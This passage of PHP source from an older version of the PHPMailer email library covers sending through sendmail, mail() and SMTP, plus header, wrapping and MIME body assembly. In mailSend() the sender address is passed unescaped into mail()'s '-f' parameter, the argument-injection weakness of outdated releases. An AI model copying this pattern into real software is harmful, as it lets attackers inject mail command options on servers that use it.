8923 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8924 $address
8925 );
8926 case 'noregex':
8927 //No PCRE! Do something _very_ approximate!
8928 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8929 return (strlen($address) >= 3
8930 and strpos($address, '@') >= 1
8931 and strpos($address, '@') != strlen($address) - 1);
8932 case 'php':
8933 default:
8934 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8935 }
8936 }
8937
8938 /**
8939 * Create a message and send it.
8940 * Uses the sending method specified by $Mailer.
8941 * @throws phpmailerException
8942 * @return boolean false on error - See the ErrorInfo property for details of the error.
8943 */
8944 public function send()
8945 {
8946 try {
8947 if (!$this->preSend()) {
8948 return false;
8949 }
8950 return $this->postSend();
8951 } catch (phpmailerException $exc) {
8952 $this->mailHeader = '';
8953 $this->setError($exc->getMessage());
8954 if ($this->exceptions) {
8955 throw $exc;
8956 }
8957 return false;
8958 }
8959 }
8960
8961 /**
8962 * Prepare a message for sending.
8963 * @throws phpmailerException
8964 * @return boolean
8965 */
8966 public function preSend()
8967 {
8968 try {
8969 $this->mailHeader = '';
8970 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8971 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8972 }
8973
8974 // Set whether the message is multipart/alternative
8975 if (!empty($this->AltBody)) {
8976 $this->ContentType = 'multipart/alternative';
8977 }
8978
8979 $this->error_count = 0; // reset errors
8980 $this->setMessageType();
8981 // Refuse to send an empty message unless we are specifically allowing it
8982 if (!$this->AllowEmpty and empty($this->Body)) {
8983 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8984 }
8985
8986 $this->MIMEHeader = $this->createHeader();
8987 $this->MIMEBody = $this->createBody();
8988
8989 // To capture the complete message when using mail(), create
8990 // an extra header list which createHeader() doesn't fold in
8991 if ($this->Mailer == 'mail') {
8992 if (count($this->to) > 0) {
8993 $this->mailHeader .= $this->addrAppend('To', $this->to);
8994 } else {
8995 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8996 }
8997 $this->mailHeader .= $this->headerLine(
8998 'Subject',
8999 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
9000 );
9001 }
9002
9003 // Sign with DKIM if enabled
9004 if (!empty($this->DKIM_domain)
9005 && !empty($this->DKIM_private)
9006 && !empty($this->DKIM_selector)
9007 && file_exists($this->DKIM_private)) {
9008 $header_dkim = $this->DKIM_Add(
9009 $this->MIMEHeader . $this->mailHeader,
9010 $this->encodeHeader($this->secureHeader($this->Subject)),
9011 $this->MIMEBody
9012 );
9013 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
9014 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
9015 }
9016 return true;
9017
9018 } catch (phpmailerException $exc) {
9019 $this->setError($exc->getMessage());
9020 if ($this->exceptions) {
9021 throw $exc;
9022 }
9023 return false;
9024 }
9025 }
9026
9027 /**
9028 * Actually send a message.
9029 * Send the email via the selected mechanism
9030 * @throws phpmailerException
9031 * @return boolean
9032 */
9033 public function postSend()
9034 {
9035 try {
9036 // Choose the mailer and send through it
9037 switch ($this->Mailer) {
9038 case 'sendmail':
9039 case 'qmail':
9040 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
9041 case 'smtp':
9042 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
9043 case 'mail':
9044 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
9045 default:
9046 $sendMethod = $this->Mailer.'Send';
9047 if (method_exists($this, $sendMethod)) {
9048 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
9049 }
9050
9051 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
9052 }
9053 } catch (phpmailerException $exc) {
9054 $this->setError($exc->getMessage());
9055 $this->edebug($exc->getMessage());
9056 if ($this->exceptions) {
9057 throw $exc;
9058 }
9059 }
9060 return false;
9061 }
9062
9063 /**
9064 * Send mail using the $Sendmail program.
9065 * @param string $header The message headers
9066 * @param string $body The message body
9067 * @see PHPMailer::$Sendmail
9068 * @throws phpmailerException
9069 * @access protected
9070 * @return boolean
9071 */
9072 protected function sendmailSend($header, $body)
9073 {
9074 if ($this->Sender != '') {
9075 if ($this->Mailer == 'qmail') {
9076 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
9077 } else {
9078 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
9079 }
9080 } else {
9081 if ($this->Mailer == 'qmail') {
9082 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
9083 } else {
9084 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
9085 }
9086 }
9087 if ($this->SingleTo) {
9088 foreach ($this->SingleToArray as $toAddr) {
9089 if (!@$mail = popen($sendmail, 'w')) {
9090 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9091 }
9092 fputs($mail, 'To: ' . $toAddr . "\n");
9093 fputs($mail, $header);
9094 fputs($mail, $body);
9095 $result = pclose($mail);
9096 $this->doCallback(
9097 ($result == 0),
9098 array($toAddr),
9099 $this->cc,
9100 $this->bcc,
9101 $this->Subject,
9102 $body,
9103 $this->From
9104 );
9105 if ($result != 0) {
9106 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9107 }
9108 }
9109 } else {
9110 if (!@$mail = popen($sendmail, 'w')) {
9111 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9112 }
9113 fputs($mail, $header);
9114 fputs($mail, $body);
9115 $result = pclose($mail);
9116 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9117 if ($result != 0) {
9118 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9119 }
9120 }
9121 return true;
9122 }
9123
9124 /**
9125 * Send mail using the PHP mail() function.
9126 * @param string $header The message headers
9127 * @param string $body The message body
9128 * @link http://www.php.net/manual/en/book.mail.php
9129 * @throws phpmailerException
9130 * @access protected
9131 * @return boolean
9132 */
9133 protected function mailSend($header, $body)
9134 {
9135 $toArr = array();
9136 foreach ($this->to as $toaddr) {
9137 $toArr[] = $this->addrFormat($toaddr);
9138 }
9139 $to = implode(', ', $toArr);
9140
9141 if (empty($this->Sender)) {
9142 $params = ' ';
9143 } else {
9144 $params = sprintf('-f%s', $this->Sender);
9145 }
9146 if ($this->Sender != '' and !ini_get('safe_mode')) {
9147 $old_from = ini_get('sendmail_from');
9148 ini_set('sendmail_from', $this->Sender);
9149 }
9150 $result = false;
9151 if ($this->SingleTo && count($toArr) > 1) {
9152 foreach ($toArr as $toAddr) {
9153 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
9154 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9155 }
9156 } else {
9157 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9158 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9159 }
9160 if (isset($old_from)) {
9161 ini_set('sendmail_from', $old_from);
9162 }
9163 if (!$result) {
9164 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9165 }
9166 return true;
9167 }
9168
9169 /**
9170 * Get an instance to use for SMTP operations.
9171 * Override this function to load your own SMTP implementation
9172 * @return SMTP
9173 */
9174 public function getSMTPInstance()
9175 {
9176 if (!is_object($this->smtp)) {
9177 $this->smtp = new SMTP;
9178 }
9179 return $this->smtp;
9180 }
9181
9182 /**
9183 * Send mail via SMTP.
9184 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9185 * Uses the PHPMailerSMTP class by default.
9186 * @see PHPMailer::getSMTPInstance() to use a different class.
9187 * @param string $header The message headers
9188 * @param string $body The message body
9189 * @throws phpmailerException
9190 * @uses SMTP
9191 * @access protected
9192 * @return boolean
9193 */
9194 protected function smtpSend($header, $body)
9195 {
9196 $bad_rcpt = array();
9197
9198 if (!$this->smtpConnect()) {
9199 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9200 }
9201 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9202 if (!$this->smtp->mail($smtp_from)) {
9203 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9204 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9205 }
9206
9207 // Attempt to send to all recipients
9208 foreach ($this->to as $to) {
9209 if (!$this->smtp->recipient($to[0])) {
9210 $bad_rcpt[] = $to[0];
9211 $isSent = false;
9212 } else {
9213 $isSent = true;
9214 }
9215 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9216 }
9217 foreach ($this->cc as $cc) {
9218 if (!$this->smtp->recipient($cc[0])) {
9219 $bad_rcpt[] = $cc[0];
9220 $isSent = false;
9221 } else {
9222 $isSent = true;
9223 }
9224 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9225 }
9226 foreach ($this->bcc as $bcc) {
9227 if (!$this->smtp->recipient($bcc[0])) {
9228 $bad_rcpt[] = $bcc[0];
9229 $isSent = false;
9230 } else {
9231 $isSent = true;
9232 }
9233 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9234 }
9235
9236 // Only send the DATA command if we have viable recipients
9237 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9238 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9239 }
9240 if ($this->SMTPKeepAlive) {
9241 $this->smtp->reset();
9242 } else {
9243 $this->smtp->quit();
9244 $this->smtp->close();
9245 }
9246 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9247 throw new phpmailerException(
9248 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9249 self::STOP_CONTINUE
9250 );
9251 }
9252 return true;
9253 }
9254
9255 /**
9256 * Initiate a connection to an SMTP server.
9257 * Returns false if the operation failed.
9258 * @param array $options An array of options compatible with stream_context_create()
9259 * @uses SMTP
9260 * @access public
9261 * @throws phpmailerException
9262 * @return boolean
9263 */
9264 public function smtpConnect($options = array())
9265 {
9266 if (is_null($this->smtp)) {
9267 $this->smtp = $this->getSMTPInstance();
9268 }
9269
9270 // Already connected?
9271 if ($this->smtp->connected()) {
9272 return true;
9273 }
9274
9275 $this->smtp->setTimeout($this->Timeout);
9276 $this->smtp->setDebugLevel($this->SMTPDebug);
9277 $this->smtp->setDebugOutput($this->Debugoutput);
9278 $this->smtp->setVerp($this->do_verp);
9279 $hosts = explode(';', $this->Host);
9280 $lastexception = null;
9281
9282 foreach ($hosts as $hostentry) {
9283 $hostinfo = array();
9284 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9285 // Not a valid host entry
9286 continue;
9287 }
9288 // $hostinfo[2]: optional ssl or tls prefix
9289 // $hostinfo[3]: the hostname
9290 // $hostinfo[4]: optional port number
9291 // The host string prefix can temporarily override the current setting for SMTPSecure
9292 // If it's not specified, the default value is used
9293 $prefix = '';
9294 $tls = ($this->SMTPSecure == 'tls');
9295 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9296 $prefix = 'ssl://';
9297 $tls = false; // Can't have SSL and TLS at once
9298 } elseif ($hostinfo[2] == 'tls') {
9299 $tls = true;
9300 // tls doesn't use a prefix
9301 }
9302 $host = $hostinfo[3];
9303 $port = $this->Port;
9304 $tport = (integer)$hostinfo[4];
9305 if ($tport > 0 and $tport < 65536) {
9306 $port = $tport;
9307 }
9308 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9309 try {
9310 if ($this->Helo) {
9311 $hello = $this->Helo;
9312 } else {
9313 $hello = $this->serverHostname();
9314 }
9315 $this->smtp->hello($hello);
9316
9317 if ($tls) {
9318 if (!$this->smtp->startTLS()) {
9319 throw new phpmailerException($this->lang('connect_host'));
9320 }
9321 // We must resend HELO after tls negotiation
9322 $this->smtp->hello($hello);
9323 }
9324 if ($this->SMTPAuth) {
9325 if (!$this->smtp->authenticate(
9326 $this->Username,
9327 $this->Password,
9328 $this->AuthType,
9329 $this->Realm,
9330 $this->Workstation
9331 )
9332 ) {
9333 throw new phpmailerException($this->lang('authenticate'));
9334 }
9335 }
9336 return true;
9337 } catch (phpmailerException $exc) {
9338 $lastexception = $exc;
9339 // We must have connected, but then failed TLS or Auth, so close connection nicely
9340 $this->smtp->quit();
9341 }
9342 }
9343 }
9344 // If we get here, all connection attempts have failed, so close connection hard
9345 $this->smtp->close();
9346 // As we've caught all exceptions, just report whatever the last one was
9347 if ($this->exceptions and !is_null($lastexception)) {
9348 throw $lastexception;
9349 }
9350 return false;
9351 }
9352
9353 /**
9354 * Close the active SMTP session if one exists.
9355 * @return void
9356 */
9357 public function smtpClose()
9358 {
9359 if ($this->smtp !== null) {
9360 if ($this->smtp->connected()) {
9361 $this->smtp->quit();
9362 $this->smtp->close();
9363 }
9364 }
9365 }
9366
9367 /**
9368 * Set the language for error messages.
9369 * Returns false if it cannot load the language file.
9370 * The default language is English.
9371 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9372 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9373 * @return boolean
9374 * @access public
9375 */
9376 public function setLanguage($langcode = 'en', $lang_path = '')
9377 {
9378 // Define full set of translatable strings in English
9379 $PHPMAILER_LANG = array(
9380 'authenticate' => 'SMTP Error: Could not authenticate.',
9381 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9382 'data_not_accepted' => 'SMTP Error: data not accepted.',
9383 'empty_message' => 'Message body empty',
9384 'encoding' => 'Unknown encoding: ',
9385 'execute' => 'Could not execute: ',
9386 'file_access' => 'Could not access file: ',
9387 'file_open' => 'File Error: Could not open file: ',
9388 'from_failed' => 'The following From address failed: ',
9389 'instantiate' => 'Could not instantiate mail function.',
9390 'invalid_address' => 'Invalid address',
9391 'mailer_not_supported' => ' mailer is not supported.',
9392 'provide_address' => 'You must provide at least one recipient email address.',
9393 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9394 'signing' => 'Signing Error: ',
9395 'smtp_connect_failed' => 'SMTP connect() failed.',
9396 'smtp_error' => 'SMTP server error: ',
9397 'variable_set' => 'Cannot set or reset variable: '
9398 );
9399 if (empty($lang_path)) {
9400 // Calculate an absolute path so it can work if CWD is not here
9401 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9402 }
9403 $foundlang = true;
9404 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9405 if ($langcode != 'en') { // There is no English translation file
9406 // Make sure language file path is readable
9407 if (!is_readable($lang_file)) {
9408 $foundlang = false;
9409 } else {
9410 // Overwrite language-specific strings.
9411 // This way we'll never have missing translations.
9412 $foundlang = include $lang_file;
9413 }
9414 }
9415 $this->language = $PHPMAILER_LANG;
9416 return (boolean)$foundlang; // Returns false if language not found
9417 }
9418
9419 /**
9420 * Get the array of strings for the current language.
9421 * @return array
9422 */
9423 public function getTranslations()
9424 {
9425 return $this->language;
9426 }
9427
9428 /**
9429 * Create recipient headers.
9430 * @access public
9431 * @param string $type
9432 * @param array $addr An array of recipient,
9433 * where each recipient is a 2-element indexed array with element 0 containing an address
9434 * and element 1 containing a name, like:
9435 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9436 * @return string
9437 */
9438 public function addrAppend($type, $addr)
9439 {
9440 $addresses = array();
9441 foreach ($addr as $address) {
9442 $addresses[] = $this->addrFormat($address);
9443 }
9444 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9445 }
9446
9447 /**
9448 * Format an address for use in a message header.
9449 * @access public
9450 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9451 * like array('joe@example.com', 'Joe User')
9452 * @return string
9453 */
9454 public function addrFormat($addr)
9455 {
9456 if (empty($addr[1])) { // No name provided
9457 return $this->secureHeader($addr[0]);
9458 } else {
9459 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9460 $addr[0]
9461 ) . '>';
9462 }
9463 }
9464
9465 /**
9466 * Word-wrap message.
9467 * For use with mailers that do not automatically perform wrapping
9468 * and for quoted-printable encoded messages.
9469 * Original written by philippe.
9470 * @param string $message The message to wrap
9471 * @param integer $length The line length to wrap to
9472 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9473 * @access public
9474 * @return string
9475 */
9476 public function wrapText($message, $length, $qp_mode = false)
9477 {
9478 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9479 // If utf-8 encoding is used, we will need to make sure we don't
9480 // split multibyte characters when we wrap
9481 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9482 $lelen = strlen($this->LE);
9483 $crlflen = strlen(self::CRLF);
9484
9485 $message = $this->fixEOL($message);
9486 if (substr($message, -$lelen) == $this->LE) {
9487 $message = substr($message, 0, -$lelen);
9488 }
9489
9490 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9491 $message = '';
9492 for ($i = 0; $i < count($line); $i++) {
9493 $line_part = explode(' ', $line[$i]);
9494 $buf = '';
9495 for ($e = 0; $e < count($line_part); $e++) {
9496 $word = $line_part[$e];
9497 if ($qp_mode and (strlen($word) > $length)) {
9498 $space_left = $length - strlen($buf) - $crlflen;
9499 if ($e != 0) {
9500 if ($space_left > 20) {
9501 $len = $space_left;
9502 if ($is_utf8) {
9503 $len = $this->utf8CharBoundary($word, $len);
9504 } elseif (substr($word, $len - 1, 1) == '=') {
9505 $len--;
9506 } elseif (substr($word, $len - 2, 1) == '=') {
9507 $len -= 2;
9508 }
9509 $part = substr($word, 0, $len);
9510 $word = substr($word, $len);
9511 $buf .= ' ' . $part;
9512 $message .= $buf . sprintf('=%s', self::CRLF);
9513 } else {
9514 $message .= $buf . $soft_break;
9515 }
9516 $buf = '';
9517 }
9518 while (strlen($word) > 0) {
9519 if ($length <= 0) {
9520 break;
9521 }
9522 $len = $length;
9523 if ($is_utf8) {
9524 $len = $this->utf8CharBoundary($word, $len);
9525 } elseif (substr($word, $len - 1, 1) == '=') {
9526 $len--;
9527 } elseif (substr($word, $len - 2, 1) == '=') {
9528 $len -= 2;
9529 }
9530 $part = substr($word, 0, $len);
9531 $word = substr($word, $len);
9532
9533 if (strlen($word) > 0) {
9534 $message .= $part . sprintf('=%s', self::CRLF);
9535 } else {
9536 $buf = $part;
9537 }
9538 }
9539 } else {
9540 $buf_o = $buf;
9541 $buf .= ($e == 0) ? $word : (' ' . $word);
9542
9543 if (strlen($buf) > $length and $buf_o != '') {
9544 $message .= $buf_o . $soft_break;
9545 $buf = $word;
9546 }
9547 }
9548 }
9549 $message .= $buf . self::CRLF;
9550 }
9551
9552 return $message;
9553 }
9554
9555 /**
9556 * Find the last character boundary prior to $maxLength in a utf-8
9557 * quoted (printable) encoded string.
9558 * Original written by Colin Brown.
9559 * @access public
9560 * @param string $encodedText utf-8 QP text
9561 * @param integer $maxLength find last character boundary prior to this length
9562 * @return integer
9563 */
9564 public function utf8CharBoundary($encodedText, $maxLength)
9565 {
9566 $foundSplitPos = false;
9567 $lookBack = 3;
9568 while (!$foundSplitPos) {
9569 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9570 $encodedCharPos = strpos($lastChunk, '=');
9571 if (false !== $encodedCharPos) {
9572 // Found start of encoded character byte within $lookBack block.
9573 // Check the encoded byte value (the 2 chars after the '=')
9574 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9575 $dec = hexdec($hex);
9576 if ($dec < 128) { // Single byte character.
9577 // If the encoded char was found at pos 0, it will fit
9578 // otherwise reduce maxLength to start of the encoded char
9579 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9580 $maxLength - ($lookBack - $encodedCharPos);
9581 $foundSplitPos = true;
9582 } elseif ($dec >= 192) { // First byte of a multi byte character
9583 // Reduce maxLength to split at start of character
9584 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9585 $foundSplitPos = true;
9586 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9587 $lookBack += 3;
9588 }
9589 } else {
9590 // No encoded character found
9591 $foundSplitPos = true;
9592 }
9593 }
9594 return $maxLength;
9595 }
9596
9597 /**
9598 * Set the body wrapping.
9599 * @access public
9600 * @return void
9601 */
9602 public function setWordWrap()
9603 {
9604 if ($this->WordWrap < 1) {
9605 return;
9606 }
9607
9608 switch ($this->message_type) {
9609 case 'alt':
9610 case 'alt_inline':
9611 case 'alt_attach':
9612 case 'alt_inline_attach':
9613 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9614 break;
9615 default:
9616 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9617 break;
9618 }
9619 }
9620
9621 /**
9622 * Assemble message headers.
9623 * @access public
9624 * @return string The assembled headers
9625 */
9626 public function createHeader()
9627 {
9628 $result = '';
9629
9630 // Set the boundaries
9631 $uniq_id = md5(uniqid(time()));
9632 $this->boundary[1] = 'b1_' . $uniq_id;
9633 $this->boundary[2] = 'b2_' . $uniq_id;
9634 $this->boundary[3] = 'b3_' . $uniq_id;
9635
9636 if ($this->MessageDate == '') {
9637 $this->MessageDate = self::rfcDate();
9638 }
9639 $result .= $this->headerLine('Date', $this->MessageDate);
9640
9641
9642 // To be created automatically by mail()
9643 if ($this->SingleTo) {
9644 if ($this->Mailer != 'mail') {
9645 foreach ($this->to as $toaddr) {
9646 $this->SingleToArray[] = $this->addrFormat($toaddr);
9647 }
9648 }
9649 } else {
9650 if (count($this->to) > 0) {
9651 if ($this->Mailer != 'mail') {
9652 $result .= $this->addrAppend('To', $this->to);
9653 }
9654 } elseif (count($this->cc) == 0) {
9655 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9656 }
9657 }
9658
9659 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9660
9661 // sendmail and mail() extract Cc from the header before sending
9662 if (count($this->cc) > 0) {
9663 $result .= $this->addrAppend('Cc', $this->cc);
9664 }
9665
9666 // sendmail and mail() extract Bcc from the header before sending
9667 if ((
9668 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9669 )
9670 and count($this->bcc) > 0
9671 ) {
9672 $result .= $this->addrAppend('Bcc', $this->bcc);
9673 }
9674
9675 if (count($this->ReplyTo) > 0) {
9676 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9677 }
9678
9679 // mail() sets the subject itself
9680 if ($this->Mailer != 'mail') {
9681 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9682 }
9683
9684 if ($this->MessageID != '') {
9685 $this->lastMessageID = $this->MessageID;
9686 } else {
9687 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9688 }
9689 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9690 $result .= $this->headerLine('X-Priority', $this->Priority);
9691 if ($this->XMailer == '') {
9692 $result .= $this->headerLine(
9693 'X-Mailer',
9694 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9695 );
9696 } else {
9697 $myXmailer = trim($this->XMailer);
9698 if ($myXmailer) {
9699 $result .= $this->headerLine('X-Mailer', $myXmailer);
9700 }
9701 }
9702
9703 if ($this->ConfirmReadingTo != '') {
9704 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9705 }
9706
9707 // Add custom headers
9708 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9709 $result .= $this->headerLine(
9710 trim($this->CustomHeader[$index][0]),
9711 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9712 );
9713 }
9714 if (!$this->sign_key_file) {
9715 $result .= $this->headerLine('MIME-Version', '1.0');
9716 $result .= $this->getMailMIME();
9717 }
9718
9719 return $result;
9720 }
9721
9722 /**
9723 * Get the message MIME type headers.
9724 * @access public
9725 * @return string
9726 */
9727 public function getMailMIME()
9728 {
9729 $result = '';
9730 $ismultipart = true;
9731 switch ($this->message_type) {
9732 case 'inline':
9733 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9734 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9735 break;
9736 case 'attach':
9737 case 'inline_attach':
9738 case 'alt_attach':
9739 case 'alt_inline_attach':
9740 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9741 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9742 break;
9743 case 'alt':
9744 case 'alt_inline':
9745 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9746 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9747 break;
9748 default:
9749 // Catches case 'plain': and case '':
9750 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9751 $ismultipart = false;
9752 break;
9753 }
9754 // RFC1341 part 5 says 7bit is assumed if not specified
9755 if ($this->Encoding != '7bit') {
9756 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9757 if ($ismultipart) {
9758 if ($this->Encoding == '8bit') {
9759 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9760 }
9761 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9762 } else {
9763 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9764 }
9765 }
9766
9767 if ($this->Mailer != 'mail') {
9768 $result .= $this->LE;
9769 }
9770
9771 return $result;
9772 }
9773
9774 /**
9775 * Returns the whole MIME message.
9776 * Includes complete headers and body.
9777 * Only valid post preSend().
9778 * @see PHPMailer::preSend()
9779 * @access public
9780 * @return string
9781 */
9782 public function getSentMIMEMessage()
9783 {
9784 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9785 }
9786
9787
9788 /**
9789 * Assemble the message body.
9790 * Returns an empty string on failure.
9791 * @access public
9792 * @throws phpmailerException
9793 * @return string The assembled message body
9794 */
9795 public function createBody()
9796 {
9797 $body = '';
9798
9799 if ($this->sign_key_file) {
9800 $body .= $this->getMailMIME() . $this->LE;
9801 }
9802
9803 $this->setWordWrap();
9804
9805 $bodyEncoding = $this->Encoding;
9806 $bodyCharSet = $this->CharSet;
9807 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9808 $bodyEncoding = '7bit';
9809 $bodyCharSet = 'us-ascii';
9810 }
9811 $altBodyEncoding = $this->Encoding;
9812 $altBodyCharSet = $this->CharSet;
9813 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9814 $altBodyEncoding = '7bit';
9815 $altBodyCharSet = 'us-ascii';
9816 }
9817 switch ($this->message_type) {
9818 case 'inline':
9819 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9820 $body .= $this->encodeString($this->Body, $bodyEncoding);
9821 $body .= $this->LE . $this->LE;
9822 $body .= $this->attachAll('inline', $this->boundary[1]);
9823 break;
9824 case 'attach':
9825 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9826 $body .= $this->encodeString($this->Body, $bodyEncoding);
9827 $body .= $this->LE . $this->LE;
9828 $body .= $this->attachAll('attachment', $this->boundary[1]);
9829 break;
9830 case 'inline_attach':
9831 $body .= $this->textLine('--' . $this->boundary[1]);
9832 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9833 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9834 $body .= $this->LE;
9835 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9836 $body .= $this->encodeString($this->Body, $bodyEncoding);
9837 $body .= $this->LE . $this->LE;
9838 $body .= $this->attachAll('inline', $this->boundary[2]);
9839 $body .= $this->LE;
9840 $body .= $this->attachAll('attachment', $this->boundary[1]);
9841 break;
9842 case 'alt':
9843 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9844 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9845 $body .= $this->LE . $this->LE;
9846 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9847 $body .= $this->encodeString($this->Body, $bodyEncoding);
9848 $body .= $this->LE . $this->LE;
9849 if (!empty($this->Ical)) {
9850 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9851 $body .= $this->encodeString($this->Ical, $this->Encoding);
9852 $body .= $this->LE . $this->LE;
9853 }
9854 $body .= $this->endBoundary($this->boundary[1]);
9855 break;
9856 case 'alt_inline':
9857 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9858 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9859 $body .= $this->LE . $this->LE;
9860 $body .= $this->textLine('--' . $this->boundary[1]);
9861 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9862 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9863 $body .= $this->LE;
9864 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9865 $body .= $this->encodeString($this->Body, $bodyEncoding);
9866 $body .= $this->LE . $this->LE;
9867 $body .= $this->attachAll('inline', $this->boundary[2]);
